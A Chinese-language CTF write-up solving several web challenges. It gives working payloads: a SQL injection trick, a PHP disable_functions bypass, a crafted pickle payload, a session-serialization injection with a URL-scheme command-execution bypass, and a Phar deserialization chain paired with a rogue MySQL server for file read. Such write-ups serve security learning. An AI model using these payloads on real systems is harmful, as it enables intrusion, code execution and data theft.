点击阅读
sqlcheckin
给出了源码(部分
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx'); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'"); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0) { if ($result[0]['username'] == 'admin') { include('flag.php'); exit();
|
手动测了很久,发现挺严格的
waf 过滤不少字符和语句,最后用字典 fuzz 几次,就得到了 flag,这里利用的是 MySQL 字符串与数字比较会自动转换的一个 trick
PHP-UAF
PHP 7.0 < 7.4 (Unix) - ‘debug_backtrace’ disable_functions Bypass
https://www.exploit-db.com/exploits/48072
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
测试可以直接 ?cmd=print_r(file_put_contents(%27../111%27,%27test%27));
写入文件
而且清理的并不及时,经常能看到师傅们留下的脚本
直接使用就行了
flag{SObARsac1TyC0V9B}
webtmp
Python 反序列化
不过过滤了 R 指令而且重写了find_class
方法只允许包含__main__
这一个 module
所以思路是通过 GLOBAL 指令引入变量,也就是题目中的 secret ,因为原变量的引用。在栈上修改它的值,从而导致原变量也被修改,覆盖原 secret,再最后反序列化即可,原理类似这篇文章:https://zhuanlan.zhihu.com/p/89132768
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
import pickle import base64 import pickletools import secret
class Animal: def __init__(self, name, category): self.name = name self.category = category
def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category
obj = Animal('ccc', 'zzz') pdv3 = pickle.dumps(obj,protocol=3) p = pickletools.optimize(pdv3) pickletools.dis(p) payload_pre = b'\x80\x03c__main__\nsecret\n}(Vname\nVccc\nVcategory\nVzzz\nub0' payload = payload_pre + p[2:] print(payload) pickletools.dis(payload) pickle_data = base64.b64encode(payload).decode() print(pickle_data)
|
flag{409ed945-5b77-4ec3-97e1-b395778842ba}
hackme
www.zip 拿到源码
根据 php_serialize 和 php 两种 session 序列化引擎的不同,在填写签名的时候进行注入
name|s:5:"admin";sign|a:1:{s:5:"admin";i:1;}admin|i:1;
此时访问 /core,得到剩余源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
require_once('./init.php'); error_reporting(0); if (check_session($_SESSION)) { $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; } } else { highlight_file(__FILE__); } } else { die('只有管理员才能看到我哟'); }
|
一看就是 host 绕过 + hitcon 2017 那个 babyfirst-revengev2 执行命令,不过当时这个没做出来,没想到用 url=compress.zlib://data:@127.0.0.1/baidu.com?,ls
绕,我 tcl
webct
题目 www.zip 中给了源码
有 测试mysql服务器、文件上传,再看下 Listfile 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class Listfile { public $file; function __construct($file) { $this->file=$file; } function listdir(){ system("ls ".$this->file)."<br>"; } function __call($name, $arguments) { system("ls ".$this->file); } }
|
标准的 Mysql Client 任意文件读取 + Phar 反序列化进行 RCE
反序列化 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
class Fileupload { public $file; function __construct($file) { $this->file = $file; } function __destruct() { $this->file->xs(); } }
class Listfile { public $file; function __construct($file) { $this->file=$file; } function listdir(){ system("ls ".$this->file)."<br>"; } function __call($name, $arguments) { system("ls ".$this->file); } }
$l = new Listfile("/ && /readflag"); $f = new Fileupload($l); $sf = serialize($f); var_dump($sf); $b = unserialize($sf); $p = new Phar('./pp.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('pp.phar', 'pp.gif');
|
将生成的伪装成 gif 的 phar 文件上传
在自己的服务器上伪造一个 mysql 服务端,可以使用 https://github.com/Gifts/Rogue-MySql-Server/blob/78ebbfcdb6ea986d60fe6dc930c4776f79acaf9a/rogue_mysql_server.py#L41 这个脚本
修改其 filelist 中的文件名为 phar 协议
phar://uploads/15844deb09884fccfd98166aa2c11990/1d00be8e06978e935acb75ad6caad48c.gif/test.txt
服务器启动脚本,本地访问题目测试mysql服务器即可触发
本题 mysqli 的 options 设置的挺坑,要求 int,而网上一些文章都是直接填 MYSQLI_OPT_LOCAL_INFILE
,简直是误导,而且这个就算爆出 PHP Warning,某些环境下还是可以使用 LOAD LOCAL INFILE 语句的,应该和其他配置有关
MYSQLI_OPT_LOCAL_INFILE
值为 8,所以本地 option 传入值为 int 8
flag:flag{bfa7ea9865f08c320abab5323a1b522c1}
http://phoebe233.cn/index.php/archives/27/
https://blog.csdn.net/nzjdsds/article/details/82461112
http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/